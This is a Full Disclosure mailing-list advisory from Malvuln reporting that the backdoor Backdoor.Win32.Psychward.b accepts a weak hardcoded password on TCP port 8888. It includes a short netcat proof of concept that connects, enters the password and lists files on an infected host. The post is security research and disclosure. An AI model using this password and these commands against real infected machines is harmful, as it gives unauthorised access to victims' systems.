full-disclosure - [FD] Backdoor.Win32.Psychward.b / Weak Hardcoded Credentials

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Message-ID: <CAAHK0WSbRZc67chhfhhLFDn9DDOMOvUDQZXmJ0EE4VXLSVvmdg@mail.gmail.com>
Date: Sun, 25 Sep 2022 21:41:31 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Psychward.b / Weak Hardcoded Credentials

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/0b8cf90ab9820cb3fcb7f1d1b45e4e57.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 8888 and requires
authentication. However, the password "4174" is weak and hardcoded in
cleartext within the PE file.
Family: Psychward
Type: PE32
MD5: 0b8cf90ab9820cb3fcb7f1d1b45e4e57
Vuln ID: MVID-2022-0645
Disclosure: 09/25/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 8888
connected 09/12/22 20:44:12. version 0.2.1
pwd 4174
password accepted
dir
..
12520437.cpx     2,151
12520850.cpx     2,233
@AudioToastIcon.png  308
@EnrollmentToastIcon.png  330
@VpnToastIcon.png   404
@WirelessDisplayToast.png  691
aadauthhelper.dll  154,624
aadtb.dll   954,880
AboveLockAppHost.dll  252,928

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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